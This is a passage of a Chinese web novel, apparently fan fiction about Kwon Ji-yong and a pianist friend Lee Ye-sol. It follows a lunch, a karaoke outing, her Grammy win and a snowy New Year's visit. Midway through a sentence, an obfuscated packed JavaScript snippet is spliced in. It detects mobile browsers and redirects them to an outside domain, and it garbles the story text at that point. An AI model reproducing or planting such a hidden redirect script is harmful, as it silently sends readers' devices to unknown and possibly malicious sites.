权至龙关上包厢门,又将李艺率脱下的外套和小包挂好,看着她坐进靠墙的位置以后才终于在她身边坐下,伸手搭在她的椅背上,终于演绎出十足的亲昵姿态,扬起眉毛说到: “这是我的女朋友。” 李秀赫:“…………” 李艺率:“…………” 谁?她吗? 这家伙说什么疯话呢! 还是在朋友跟前给他留点面子,别发出声音伤他自尊吧。 这样想着,李艺率撑着下巴转过头似笑非笑地看向权至龙。 她倒要看看这家伙要怎么圆! “哎呀,我开玩笑的啦。” 接收到李艺率暗含警告的信号,他故意拉长音调,见好就收,却只换来她撩动眼皮懒懒的一撇。 权至龙:“…………” 虽说他这样冲动的试探其实很上不得台面,也的确没指望李艺率有什么羞恼或是嗔怒的反应,但她这态度未免也太小瞧他了吧! ……不对啊,为什么李艺率一句话都没说,光是这样看着他就会让他下意识感觉到心虚啊? 可恶! 对上李秀赫分外复杂的眼睛,权至龙愈发愤愤不平。 他必须要摆出态度起码让李艺率察觉到他在不高兴才行! 可偏偏这时李艺率又提出了需求:“我想擦手。” “哦。” 顾不得心里正在生闷气,权至龙脑子还没反应过来,身体已经站起身从她的小包里拿出湿纸巾。 因为被指使得太过习惯导致身体一听到李艺率的需求就下意识做出反应的权至龙:………… 好在他还记得上一秒刚刚决心要振作起来的姿态,因此他将湿巾往李艺率手边一方,语气生硬道:“给你。” “哦,谢谢啦小权,”李艺率撕开包装纸,又拉过他的手腕,抽出一张放到他的手里,“为了表达我的感激,第一张先给你用哦。” “……哦。” 权至龙应了一句,半低着头抿着唇状若无事地擦手。 ……如果忽略他慢条斯理的,几乎要把每根手指都细致擦拭一遍的动作,以及努力绷着脸还是难以掩盖嘴角美滋滋上扬的弧度的话。 观看了整个过程的李秀赫:“………………” 哥们,说真的我都有点同情你了。 * 菜已陆陆续续上桌,权至龙熟练地拿着夹子下肉翻烤,嘴里还不时说这些关照的话: “你先喝点水,等会烤好给你包。” “看到小菜怎么还是这样一副嫌弃的表情啊?那你放到我这里来吧。” “这个吸油烟管吸力好像不太强啊,你稍微再靠后坐一点,仔细别被烟熏到了。” 李艺率将小菜碟往权至龙跟前推了推,此时正端坐着小口喝水:“熏不到吧,都往对面飘了。” 坐在对面正好被烟飘了满脸的李秀赫:“…………” 他看着权至龙将滋滋作响的烤肉夹到小碗里晾了一会,又仔细铺在生菜叶子上,叠上菌菇动作熟练地包好递给李艺率,丝毫不顾及此时还有第三个人在场,甚至连个眼神都懒得分给他。 李秀赫悄悄伸手揉了揉肚子。 糟糕,这顿饭还没开始吃就已经让他感觉到胃疼了。 44.李秀赫的受难日记(下) 这顿饭李秀赫吃得尤其艰难。 倒不是说权至龙和李艺率有什么过分亲昵把他晾在一边的举动。 事实上,除了最开始权至龙忙着投喂李艺率的架势有点过于旁若无人以外,余下的时间里话题一直是在李秀赫和权至龙两人之间来回打转。 李艺率在社交上实在是个被动内向的人。 在聊天间隙里,权至龙的余光时不时瞟向盯着电视乖乖咀嚼的侧脸,嘴角也不自觉跟着露出一个柔和的弧线。 看看他的艺率,吃得多乖啊! 对上李秀赫一言难尽的眼神,权至龙仍是板着这样理直气壮的神情想到。 * 这顿饭算得上是宾主尽欢,起码权至龙是这样认为的——直到下一秒趁着李秀赫起身去洗手间,包厢里只剩下两人的瞬间,李艺率开始和他算起了刚刚的账。 她靠在椅背上,瞥向他的眼睛里带上了十足的不满: “为什么刚刚要说我是你女朋友?是不是想戏弄我?!” 权至龙:“…………” 权至龙:“我没有!” 闻言李艺率轻哼一声,脸上还是带着不高兴的神情:“那你倒是解释一下刚刚为什么要这样做!” 权至龙:“………………” 坏了,这下真是进退维谷了。 可李艺率那双清澈的眼睛直直望过来,里面没有丝毫羞涩或慌乱,只有纯粹的不解和被戏弄后的不满。 这其实比任何指责都让他感到慌乱。 要不干脆趁这个时机和李艺率挑明好了,一个声音在他心底这样疯狂叫嚣到。 就现在,告诉她这不是在开玩笑,告诉她自己看着她时心跳有多失控,告诉她那些关于好朋友的亲密言论全是拙劣的伪装……告诉她,他的贪心,他想要他们不止于此。 冲动像野火一样燎过权至龙的神经末梢,几乎要冲破喉咙。 在这样澄澈的注视下,他的指尖微微发颤,嘴唇翕动了一下,那句饱含了他所有渴望的承认几乎就要脱口而出—— 不。 ……然后呢? 他的目光贪婪地描摹着眼前漂亮的眉眼。 忽然一盆冰水当头泼下,瞬间浇熄了那点刚刚燃起的勇气。 微蹙的眉头,分明的瞳仁,那里面没有丝毫与旖旎相关的涟漪。 如果他现在说出来,这双向来清澈的眼睛里会浮现出什么?会是惊讶吗?然后是困惑?再然后……会不会是最让他感到恐惧的,划清界限的疏离和拒绝? 事实上,按照李艺率的性格一定会明确拒绝。 那到时候他们之间该怎么办呢?他们之间肯定恢复不到像现在这样亲密自然的相处模式了。 之后呢? 之后她或许会因为他的爱慕而感到苦恼,会因为尴尬而渐渐减少联系,会小心翼翼地避开任何可能引起误会的肢体接触。 他再也不能像这样自然地靠近她,不能在深夜给她发信息,不能隔着时差听见她信任依赖的声音在耳边响起,不能以好朋友的身份占据她的全部视线,不能……再享受他现在拥有的一切特殊温暖。 光是想象那种可能性,就有一种近乎窒息的恐慌将他迅速淹没。 挑明一切,就意味着失去好朋友这个身份,意味着失去站在她身边的所有资格。 比起他的喜欢得不到回应,反倒是现在这样触手可及的温暖都彻底失去的后果才让人更加恐惧。 啊,自己这个胆小鬼不管再来多少次都还是不长进啊。 这么想着,他迅速垂下眼睑咽下了心底无数翻涌的情绪,脸上已经挂上了那副带着些无赖的笑容——大概是年岁渐长,又或是这半年来他已经愈发习惯在舞台上用这样眉眼弯弯的表情应对演艺圈的星光,他现在已经可以熟练使用起这副状若无事的面具了。 “只是想开个玩笑嘛,”权至龙语气轻快,又拖长了软绵绵的尾音,带着撒娇似的讨好,试图让气氛变得轻松起来,“主要是今天第一次带你来见我的朋友,真的很想看秀赫那家伙被吓一跳的样子。” 他随口找了个理由搪塞,又对着她耸耸肩试图说明他真的全无恶意。 甚至还故意伸出手,想像以前一样去揉她的头发,但指尖在触碰到发丝的前一秒,却又僵硬地拐了个弯,落在了她的椅背上。 哧,真是胆小鬼。 他直视着李艺率身后的窗户玻璃。 阳光在她的侧脸镀上柔和的金色光晕,也将他粉饰太平的动作照得几乎透明。 他清晰地看着自己用插科打诨,用故作轻松,小心翼翼地将他那点见不得光的爱意重新塞回朋友这个坚固的壳里,而他这个胆小鬼也顺理成章地跟着一同躲进了阴暗的角落。 他这样自嘲地想到。 * 开玩笑? 小权这家伙才是开什么玩笑才对! 听到这样的回答,李艺率的心里也涌上了真正的火气。 李艺率:“这不还是在戏弄我吗?我讨厌你这样做!” 尽管她实在是个善于表达自身喜好的人,但大多时间都是以“喜欢或不喜欢”这样的谓语加以表达,很少会像现在这样用到“讨厌”这样激烈的措辞,甚至还带着明显的责备语气。 权至龙:“…………” 看来是真的很生气了。 而面对他声音干涩,期期艾艾的道歉,李艺率也没觉得好一点,反倒插着腰板起脸看向那个故作镇定的表情,声音冷彻: “你以为我是在小题大做吗?错!开玩笑这件事本身并没有什么,但我认为你这样轻浮的态度非常不尊重我!” 权至龙:“……对不起。但是……我完全没有不尊重你的想法……” 权至龙对上她的视线,声音不自觉地放轻了些。尽管他是很心虚没错,但还是试图为自己争取些主动权: “当我女朋友真的很委屈吗?……我其实也不是那么坏的人啊。” “小权,你错了,”李艺率看着权至龙略有些苦涩的眼睛,叹息一声道: “正因为你不是一个那么坏的人,才更不可以这样做。” 李艺率竖起手指打了个比方:“就拿今天举例好了。你在朋友面前介绍我时说我是你的女朋友,”这么说着,她用手指戳了戳那个垮下肩膀,看上去格外沮丧的身影,“你这样做不就是等于把我架起来了吗?” “在你眼里,我是这样一个会因为顾及朋友面子,会因为别人的起哄就勉强承认‘女朋友’身份,这样轻浮的人吗?未免也太小瞧我了吧!” 权至龙:“…………” 是了,他怎么就忘了这是个内核强大到根本不会因为一点道德绑架就轻易动摇的家伙呢。 见他若有所思,李艺率语气也跟着稍微缓和了些,颇有点晓之以理的口吻紧跟着说道: “如果今天换成其他人呢?别人可不像咱们俩那样关系好,万一人家一点都不给你面子当场甩脸色给你看怎么办?这倒霉的还不是你自己吗?!” 权至龙:“……不,按照正常情况来说,通常这种事情只会发生在关系比较好,有一定感情基础的男女之间吧。” 比如说暧昧期迟迟下不了交往决心,才会下定决心做出这样的举动来试探彼此心意。 李艺率:“可正是因为这一点,才更不可以这么轻浮了不是吗!” 她拿起自己来举例:“如果有人要追求我,希望和我交往的话,那么我是绝对不会接受这样类似于玩笑一样的表白方式的。” 这么说着,她直视着权至龙的眼睛,那双暖棕色的透彻眼睛里满是对自我认同的坚持: “我是一个很棒的人,所以理应被认真对待,被坚定地表达爱慕和渴望,被郑重地捧在手里珍惜,不是吗?” “……对。” 他的目光闪烁,几乎被这样明媚灿烂至极的气场灼得睁不开眼。 “不止是我,所有姑娘都是这样希望的,也都应该被这样对待。”这么说着,她伸手轻轻拍了拍他的肩膀,嘴角扬起一抹温和的浅淡笑意: “小权,正因为你是一个很不错的家伙,所以你才值得拥有一个很好的人去喜欢,所以就更不能做出这种轻浮的举动!” 她在说出这样的祝福时,也不知道为什么,脑海中忽然涌现出未来的某一天,权至龙搂着一个女孩站在阳光下,脸上带着温柔笑意向她走来的画面。 一想到这些,她就像是被某种柔软的遗憾刺了一下。 可恶! 凭什么像小权这样的笨蛋可以这样幸福啊? 虽说她的确是不需要爱情这种东西,但看着玩得要好的朋友背着自己过上了她没有参与的,更幸福的生活……那种事情不要啊!! 她颇有些不甘心地咬着嘴里的软肉,怀揣着某种自己也说不清的嫉妒(?甚至她自己也不清楚这种复杂的情绪究竟是针对谁),看向那双专注注视着自己的眼睛,说出了她的祝福: “爱的前提是相互尊重。小权,你是个很好的家伙,所以你当然值得最好的爱。” “也当然值得去找这世上最好的女孩去喜欢。” 权至龙直视着那双被水洗过的暖棕色琥珀,看着她微微带着点婴儿肥的侧脸,因为认真说话而轻轻颤动的羽睫,还有那张一张一合、吐出让他心神震荡话语的柔软嘴唇…… 又再一次感觉到了漂浮的灵魂被牵引回陆地,踩在地面的踏实感。 他的眼睛在那张略带稚气的脸上反复流连,像是要把这一刻反复镌刻进自己灵魂那样郑重。 嗯。 他轻轻地应了一声,又低低地笑了出来。 真是傻瓜啊。 这样的人他其实早就找到了。 * 年轻人的聚会自然不止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308163|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是简单吃一顿饭这么简单。 午餐的热闹余温还未散尽,权至龙和李艺率也好好结束了此时两人的意见分歧,显然不打算就此结束这难得的相处时间。 由于李艺率实在是个很少参与同龄人活动的孩子,类似于网咖等娱乐活动都是在他的提议下才得以体验。 为了顺理成章再次好好当一把“向导”,权至龙大手一挥,兴致勃勃地提议:“走吧!下一场!” 他看着李艺率扣好外套的扣子,又将她随身携带的小包挂在她肩上,“今天带你去体验一下唱K怎么样?” “好啊,之前一直很好奇呢,会不会很吵啊?” “就我们三个人,能吵到哪里去啊?” 他笑嘻嘻地回道,丝毫不在乎李秀赫看向他时无语又复杂的眼神。 看着权至龙那几乎要摇起来的隐形尾巴,李秀赫默默把“我想回家”这句话咽了回去,认命地跟上。 虽说都是音乐行业,但古典乐和流行乐还是有壁垒的,说唱不是谁张嘴就会的,小老外的语言是不通的。 尽管15岁就回韩国生活了好几年,也在上学时期跟着权至龙磕磕巴巴地打着学说唱地名义锻炼口语,但李艺率说话的语速还是慢。 这种慢体现在此刻里更显夸张。 ‘深夜下起雨我又想起你~我在潮湿的记忆深处挣扎~我下定决心说没有你也要好好生活可还是做不到……’ 生活在HIPHOP文化氛围浓厚的北美圈,李艺率当然在电视上看到过无数次说唱舞台表演和mv录像。 因此她回忆起电视节目中的非裔歌手在饶舌时摆动身体的夸张律动,也跟着无师自通地在不大的K歌房里扭动身体“走位”,努力营造出浪荡子的气场,搭配十分努力又非常费力的歌声,节目效果堪称喜剧级呈现。 到底是谁在说音乐行业是互通的啊?! 权至龙:“…………” 李秀赫:“…………” 权至龙看着眼前这个努力摇头晃脑,嘴里跟着发出烫嘴歌词的身影,艰难地抑制住嘴角难绷的幅度,半靠着李秀赫的身体整个人几乎直不起来。 “哦莫,我不行了,”他凑到李秀赫耳边,用几乎要笑出眼泪的声音低声说:“Kiyo……这未免也太可爱了一点吧……” 简直是可爱到放在眼睛里也感觉不到疼的那种程度。 这世界上怎么能有这么讨人喜欢的家伙啊??! 李秀赫:“…………” 他靠近权至龙,低沉的嗓音也跟着发出轻轻的感叹:“我之前一直听说,rapper都会找一个不会玩饶舌的女朋友。说真的,以前我本来是不信的……” 这么说着,他忽然像是微妙地意识到了什么一样,“哦抱歉,差点忘记了……你们还没交往呢。” 说着,他颇为遗憾地拍了拍权至龙的肩膀,终于露出了今天以来第一个报复的笑容: “路还很长,要加油啊,‘好朋友’小权。” 权至龙:“…………” * 唱了几首歌以后李艺率的电量就彻底告急,垮着肩膀发出了‘当爱豆果然好累’的悠悠感叹。 权至龙:“……是你自己多余的动作太多了吧?到底给自己捏了个什么样的人设啊?!” 李艺率推了推虚空的墨镜:“现在是西海岸传奇说唱歌手。小权你这家伙,态度放尊重点!叫我OG!” 权至龙:“…………” 走出练歌房的时候天色已经暗下不少。 李艺率回头看了一眼练歌房霓虹招牌下张贴的海报,发出了有些疑惑的声音: “咦,这个人原来也是爱豆啊?真巧。” “哪个人?” 权至龙顺着她的视线看过去,停留在那个专辑海报上,13人的大型男团组合,李艺率指的正是其中站位靠中间的一名成员。 ……啊,是他的前辈啊。 可李艺率是怎么和他发生交集的? “很久以前,有一次我们去吃麦当劳,你还记得吗?”李艺率歪着头,像是在回忆当时的日行一善,“当时我不是提前在商场等你吗?超市排队的时候他就在我后面,就是那个炸鸡排。” 权至龙:“…………” 那真的是很久了。 他迅速在脑子里将当时的场景对号入座,继而又发出了酸溜溜的声音: “都这么久了,你还记得这么清楚啊。” “当然啦,”李艺率不假思索地答道,“那是第一次和你去吃快餐嘛,很有纪念意义啊!” 权至龙:“………………” 话音刚落,他的嘴角就早早翘起了一个细小的弧度,耳根发烫的同时忍不住冲着李秀赫扬了扬略有些得意的眉毛。 李秀赫:“…………” 啊?又来? 怎么老有他的事啊??! 45.雪夜 过了新年以后李艺率便匆匆飞往洛杉矶参加这一届的格莱美颁奖。 格莱美奖是目前世界范围内最具影响力的音乐大奖之一,被称为音乐届的奥斯卡。 它的奖项分类细致,在音乐颁奖领域遥遥领先,受到了广大乐迷的追捧,是大部分欧美音乐人梦寐以求的星光殿堂。 尽管在十几年后饱受抨击与批评,社交媒体上也总是不乏关于格莱美的负面评价,但不可否认的是,它仍是大部分欧美乐迷难以忽视的奖项。 格莱美所评选的对象包含自前年十月自去年九月底在美国发行的所有唱片,由美国录音协会等专业音乐从业专家组成的组委会进行两轮票选,分别进行年度通项及细分奖项的投票——是的,这其中当然包含了古典乐部门。 李艺率本次拿到的提名是古典乐类别中的最佳古典乐器独奏(协奏曲也包含在器乐独奏类目里),虽说格莱美的古典乐部门的门槛并不算高,在学界的影响力和专业性都远不如传统纸媒巨头,但毕竟是首张唱片被提名,因此李艺率仍决定出席。 而比起被提名人本人,权至龙兴奋期待的心情则达到了另一种高度,毕竟—— “那可是格莱美啊!” 权至龙对李艺率有些轻忽的态度显得尤其痛心疾首,那可是无数音乐人和制作人向往的最高音乐殿堂![1] 从一月起他便匆匆投入了迷你二辑的宣传打歌活动,他们也已经正式确定了下个月组合的首次巡演。也正是因此,在时间冲突中,他们彼此都遗憾错过了人生中的重要时刻。 李艺率:“连转播都得上官网才能看的颁奖也不是很有含金量嘛。” 是的,格莱美的古典乐部门的直播颁奖被安排在正式典礼的几个小时前,甚至谈不上是黄金时段,出席的古典音乐人也并不像流行音乐人那样盛装出席受到万众瞩目,自然谈不上什么含金量。 我们古典乐学界还是太没牌面了! 李艺率在心里这样默默感叹到。 但权至龙对此仍是信誓旦旦表示:“我一定会守在电脑前面看现场直播的!” 李艺率:“…………” 都已经忙得要死了,那种事情完全没必要了吧。 倒不如说,现在这么忙的情况下还要保持每天的通话,你这家伙精力是真的很旺盛啊! * 格莱美颁奖当日。 与晚间流行音乐部门星光熠熠、媒体蜂拥的主会场氛围不同,下午时分举行的古典音乐部门颁奖现场,更像是一场低调内敛的行业聚会。 杜比剧院附近的某个分会场内,灯光柔和,氛围庄重。 出席的音乐家们大多穿着得体优雅的礼服,彼此间的交谈也温和许多。 李艺率一袭简约的黑色绸缎吊带长裙,衬得肌肤胜雪,长发挽起,露出纤细优美的脖颈,气质清冷出众。 尽管她本人对奖项的含金量抱有质疑,但置身于这样的环境,周围是在唱片内页和音乐厅海报上的熟悉面孔,她还是感受到了些与众不同的庄严感。 这样的名利场,自然少不了寒暄与引荐。 “Miss Lee?”一位气质儒雅的男士微笑着向她走来,身边跟着一位同样年纪稍长的女士,“恭喜提名。我是洛杉矶爱乐的音乐总监古斯塔夫,这位是我的夫人瓦伦蒂娜。” 李艺率立刻认出了这位以激情和才华闻名的指挥家,礼貌地欠身感谢。 “你的莫扎特非常出色,”古斯塔夫不吝赞美,“触键干净利落,音色控制也极有品味,尤其是K.466的慢板乐章,那份内省很令人动容。年轻一代里有这样深刻的理解,实在非常难得。” 瓦伦蒂娜女士也笑着温和补充:“希望未来有机会能在洛杉矶听到你的现场演出。” “那会是我的荣幸。” 值得一提的是,李艺率哈佛的授课老师、老头子生前的好友伯德伦纳先生作为颁奖人也出席了本次的颁奖现场。 在他的引荐下,李艺率有幸与几位久负盛名的演奏家和知名乐团首席进行了深入交流,言谈中也认识了些颇为投缘的同行。 时间在闲聊中不紧不慢地流逝,当轮到颁发最佳古典器乐独奏奖时,全场的气氛才略微热闹了些。 台上传来了伯德伦纳先生清晰的声音: “接下来颁发的是——最佳古典乐器独奏奖。” 李艺率适时停下了与同样获得获得提名的年轻大提琴演奏家艾玛的闲聊,将目光转向舞台。 提名者的名字和作品片段通过现场的音响缓缓流淌,李艺率那张录制莫扎特钢琴协奏曲的唱片封面也出现在屏幕之上。她下意识地挺直了背脊,指尖微微收拢。 “获奖者是——” 伯德伦纳先生刻意拖长了语调,目光扫过台下, “——YeSol Lee, for Mozart: Piano Concertos Nos. 20 & 21!” 聚光灯打在她身上,周围响起了热烈而真诚的掌声,艾玛先向她表示祝贺,起身拥抱。 李艺率有一刹那的恍惚,又她很快回过神来,唇角扬起一抹得体的笑容,轻轻提起裙摆,在灯光与目光的追随下,步履从容而优雅地走向舞台。 “恭喜你,小熊。” 踏上台阶,她听见伯德伦纳轻声这样说道,“我真为你感到高兴。” “谢谢,您的鼓励和支持对我而言有很特殊的意义。” 李艺率张开双手贴面拥抱着这个头发花白的可爱老头,又从他手中接过那座留声机形状的金色奖杯——比想象中要沉甸甸得多。 她站到话筒前,环视台下那些熟悉或陌生的面孔。 灯光有些刺眼。 “谢谢……”她看着台下的星光熠熠,尽管在和权至龙通话时对今天的颁奖做出一副不甚在意的模样,但是真正站在舞台中央,李艺率还是不免感觉到发自内心的愉快。 被认可的确是件叫人感到发自内心愉快的事情。 “这真是一个巨大的惊喜。感谢美国录音艺术学院,感谢索尼唱片的录音团队,感谢与我合作的BOS乐团成员们,以及所有为这张唱片努力过的人。” “莫扎特的音乐是我最初接触钢琴的契机——” “小时候我在一次偶然做客时,拜访了我的老师海因兹·布兰迪斯先生。当时我听到了广播里播放的K488号第二乐章的录音,被其中忧郁而深邃的情感深深触动……” 大概是因为触动了儿时美好的记忆,李艺率稍作停顿,目光变得柔和而深远: “我的老师曾被世人誉为最伟大的莫扎特诠释者之一,我在他的教导和关怀下得以成长……在他去世以后,我仍然循着莫扎特的伟大足迹,去试图理解他的喜悦、他的忧郁,和他超越时代的纯粹。” “因此,能获得这样的认可和肯定,对我而言具有非凡的意义。再次感谢评审团……” 她这么说着,视线又遥遥对上台下为她的发言面露欣慰和鼓励的音乐人们。 “最后,”她微微一笑,语气轻快了些许,目光无意地瞥向了某个想象中的镜头方向,“感谢所有支持我的人。尤其要感谢一位隔着太平洋、或许正盯着电脑屏幕的朋友……你的热情似乎比我这个提名者还要高涨。这份喜悦,我想与你分享。” 台下随即响起了一阵善意的轻笑声和掌声。 她的致辞真挚谦逊,再次举起奖杯,向台下微微鞠躬。在灯光与掌声中,清冷的身姿也显得格外耀眼。 捧着奖杯走下舞台,冰凉的金属触感终于让她有了一丝实感。 指尖轻轻摩挲着奖杯底座刻印的名字和奖项,先前那点关于含金量的调侃早已悄然散去,一种纯粹的喜悦慢慢充盈心间。 回到座位,周围不时有音乐家倾身过来再次道贺,语气里多了几分更切实的赞赏。 李艺率一一回应,心情逐渐平复,却依旧雀跃。 * 而与此同时,一万多里之外的首尔深夜。 一间布满音乐设备的工作室里,电脑屏幕正亮着,播放着格莱美颁奖礼的官方线上直播流。 权至龙刚结束今天的打歌行程就迫不及待回工作室打开电脑的格莱美官网。 和制作人进行了几个小时的交流确定了录音后期的混声音轨方案和调整方向后,这才带着倦容眼睛发亮地紧盯着电脑屏幕。 当听到李艺率的名字被念出时,他几乎从椅子上跳起来,对着屏幕无声地挥拳庆祝,嘴角咧到了耳根。 看到她优雅从容的获奖感言,他脸上的笑容越来越大。尤其是当听到那句“盯着电脑屏幕的朋友”时,他先是一愣,随即忍不住笑出声。 他立刻掏出手机,手指飞快地动作着,想要第一时间发出祝贺的信息,却又觉得文字不足以表达他的激动。 那可是格莱美啊! 他的手指翻飞: [呀!我看到了!我就知道!!!真的大发!!!!!] [做得好啊艺率!!!发言也太帅气了吧!!!] 一连串的感叹号充分暴露了他此刻极度兴奋且与有荣焉的激动心情。 工作间的门被推开,制作人Teddy探着头走进来:“至龙啊,还不走吗?剩下的要不等明天……” 话没说完,就被权至龙电脑屏幕上的星光熠熠打断:“格莱美?不是得等到明天才……” 紧接着,他对上了权至龙掩饰不住兴奋和欣喜的表情。 Teddy:“…………” 糟糕,好像有种不太好的预感。 权至龙:“哥,你刚刚说什么?格莱美?” 接着,他又用一种极其做作惊讶的语气问道:“你怎么知道我们艺率刚刚拿到了格莱美奖?” Teddy:“…………” 不等他反应过来,权至龙已经一把搂住他的肩膀,声音透着抑制不住的雀跃和骄傲: “哎一古,我们艺率真是太厉害了!才第一张唱片就拿到了大满贯,甚至格莱美这么厉害的奖项都拿下了……实在很是一个有天赋的孩子啊,简直就是天生的艺术家,对吧?” Teddy睁着不大的死鱼眼呵呵干笑一声应和道:“啊,对。” 权至龙:“对了,你刚刚还没看到她的获奖发言吧?有提到我哦!” 说着,他一把拉过整个人写满了想要逃跑的Teddy,将他摁在电脑前坐下,移动鼠标将进度条往回拉,俨然一副不看完势必不让他离开的架势。 被迫看完从宣布到李艺率获奖发言全过程,被权至龙身上的关种味熏得直皱鼻子还得被迫鼓掌附和些感言的Teddy:“………………” 说真的,他现在后悔还来得及吗? * 08年是权至龙事业繁忙的一年,上升轨迹清晰而耀眼。 迷你二辑《Hot Issue》的宣传打歌活动占据了他们上半年的大部分时间。 不同于出道时的青涩与试探,这一次团队带着更强烈的自信和更鲜明的风格席卷了各大音乐节目。 而他作为组合核心的创作能力得到了进一步的凸显,专辑中他参与创作的歌曲旋律抓耳,引发了广泛共鸣。 镜头前,他已然褪去了新人时期的不安,台风愈发稳健,表现力在密集的行程中磨砺得愈发纯熟,一个眼神、一个手势甚至微微扭动的身姿都能引来台下粉丝震耳欲聋的尖叫。 他们组合的首次巡演在几个月前正式落下帷幕,对于一个出道算不上太久的组合来说,称得上是里程碑式的跨越。 从参与构思、讨论舞台设计、编排舞蹈动线、与乐队排练……权至龙的努力和进步是肉眼可见的。 镜头前的他越来越游刃有余,音乐上也显露出超越年龄的专业性。 大概是李艺率的成功带给了他更为隐秘的动力,这一年的他像一块海绵,疯狂吸收着一切能让他成长的东西,又像一团火,燃烧着自己年轻的能量,推动着自己和组合向前狂奔。 除了在日本正式出道以外,下半年推出的迷你三辑也将他们从大爆推向了巅峰,成为了当之无愧的国民级男团。 当然,现象级爆火的背后,自然不可避免地多了些争议。 近几年来随着互联网逐渐兴起,舆论环境也变得有些复杂起来。 仿佛拥有一种隐秘的魔力,每个人在光缆的场域中成为了皇帝新衣里的主角“皇帝”,但又矛盾地并不确切知道自己的形象,只一味追逐着以混淆好与恶的界限,陷入了情绪飞舞的共时性狂乱之中。 关于Bigbang的爆火,网上多出了许多刺耳的声音。 而作为舆论漩涡中的主角,皇帝新衣里的“衣服”本人,权至龙则深感委屈—— 权至龙:“为什么要叫我们水葱啊?我明明都已经努力打扮得很华丽帅气了,竟然还不能脱离最丑男团的形象吗?可恶!” 李艺率:“…………” 你关注的重点竟然是这个吗?! 她先是感到一阵无语,继而又觉得好笑。 自从两年前那场失联以后,李艺率也逐渐了解了他们出道初期面临的恶意眼光,以小权这家伙微妙的自尊心来说,大概是真的会很在意这个评价了。 她想起去年年底在MKMF颁奖后台,见到的权至龙的四个队友,又在脑海中回忆起争议的另一方,他们高中时期就经常在午间音乐节目中经常看到的以花美男著称的男团……实在说不出什么违心安慰的话来,最终只是对着电话那头轻轻叹息发出了泄气的声音: “哎,这件事吧,其实也能不怪你……在中那张脸还是太权威了。” 权至龙:“…………” 虽然的确是无法反驳的事实,但你这家伙说得未免也太直白了吧! 大概也意识到了自己的话并不能算作安慰,于是李艺率干笑两声,劝解的声音透过听筒传来: “毕竟只是粉丝打架嘛。往好的方面去想,难道韭菜就是什么很好东西了吗?” “水葱和韭菜,都是我讨厌的食物!” 这很公平! 权至龙:“……谢谢,你的安慰真是帮大忙了呢。” 顺便一提,这个世界上有什么你这家伙不讨厌的食物吗?! * 李艺率在这一年几乎算得上是按部就班。 除了应对哈佛繁忙的课业之外,她在暑期又与BOS的室内乐团合作录制了一张《海顿协奏曲选集》,收录了包含三号、十号、十一号键盘协奏曲在内的作品,虽然并没有上一张的成绩那样耀眼,但仍是在古典音乐圈内引起了不错的反响。[2] 年底的假期她并没有选择回国。 近些年李艺率的爷爷身体愈发不好,脾气也变得愈发古怪起来,加之李在叙如今独揽集团大权的势头,父亲和哥哥都极力避免她和本家有太多接触——毕竟她如今以“大韩民国的骄傲”的演奏家身份活跃在国内纸媒中的形象也被上一代的长辈们轻讽是在抛头露脸。 真的是一帮很没品的老家伙了! 李艺率在心里头如是抱怨。 父亲和哥哥在韩国过新年,她自己其实也没闲着。 波士顿交响乐厅的琴音在掌声中落下帷幕,这是她第三次搭档霍斯先生在台前演出,依旧是合作愉快。 安可曲谢幕后,李艺率在后台碰上了意想不到的访客。 一对言谈得体,一看就受过高等教育的非裔夫妇微笑着向她伸出手自我介绍,李艺率也认出了对方是近期活跃在电视机前的蓝营大热候选人。[3] “Miss Lee,去年我和我的妻子来波士顿参加活动时有幸听过你的演出。你非凡的技术和细腻的表达让我们至今印象深刻,”说到这里,他的妻子也冲着李艺率微微一笑道,“这一次我们是特意从华盛顿赶来的。” 闻言,李艺率微微颔首露出一个得体的微笑:“这是我的荣幸,希望这一次的演出能让两位有愉快的体验。” “当然,今晚的演出同样精彩绝伦。” 说着,他微微倾身,带着政治家特有的面具朝着李艺率露出了有些意味深长的表情:“如果有机会的话,未来我想邀请你登上更大的舞台演奏。毕竟……你那时演奏的《皇帝》实在是给我带来了震撼人心的激励。” 李艺率微微一怔,随即礼貌地笑了笑。 “如果有机会的话。” 在美国的竞选体系中,募集政治献金是一件常见的事情。考虑到银河在美国的产业布局,这份邀请中当然充斥着多方考量,这位候选人先生会特意在这个时间节点出现在演出后台也变成了一件意味深长的事情。 但这些和李艺率本人有什么关系呢? 她只是一个被家里老人们讽刺是抛头露面的坏小孩罢了,这种机锋就不要掺和到她这么一个按照韩国算法才刚成年的小孩身上了吧! * 十二月的最后一天,寒风裹挟着雪粒拍打着窗棂。 波士顿的雪花不像首尔那样羞涩,大片大片地从铅灰色的天空飘落,很快便将整座城市裹上了一层厚厚的银装。 新年夜,街道比往常空旷 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“在看电视。”她轻声回答,目光依然望着窗外白茫茫的一片,“你呢?难得的假期不和家人一起吗?怎么听起来像是在外面?” “嗯……是在外面。”他顿了顿,背景的风声更大了些,“你走到露台边上来好不好?” 一种强烈又荒谬的预感油然而生。 她下意识地拧开玻璃门的把手,凛冽的冷风瞬间灌入,裹挟着雪花涌了进来。 露台栏杆上积了厚厚一层雪。 她没有去看在雪幕中若隐若现的城市天际线,反而低垂下头,看向公寓楼下如火柴盒排列的轿车和零星攒动的人影。 公寓楼旁边的地铁口,有一个被距离模糊得极为渺小的身影正费力地朝她这个方向大幅度地挥舞着手臂。那身影裹在深色外套里,几乎要与夜色融为一体,但那急切用力的动作,在空旷寂寥的雪夜街道上,显得格外突兀和……熟悉。 李艺率的心跳漏了一拍。 手指不由抓紧了耳边的手机,喉咙干哑得发不出任何声音。 电话那头带着笑意的,被风吹得有些断续的声音再次传来,清晰地穿透听筒: “呀,这里!看见了吗?李艺率!我在这里!” 真的是他! 李艺率的双腿被钉在了原地。 这个笨蛋! 被镁光灯和镜头包围了整整一年,终于卸下了忙得连轴转行程的人,在假期不陪着家人好好休息,反倒出现在了她公寓楼下的风雪里,像个傻瓜一样拼命朝她挥手。 雪更大更密了。 几乎要模糊她的视线,但楼下那个跳跃挥动的身影却在她眼中无比清晰地聚焦。 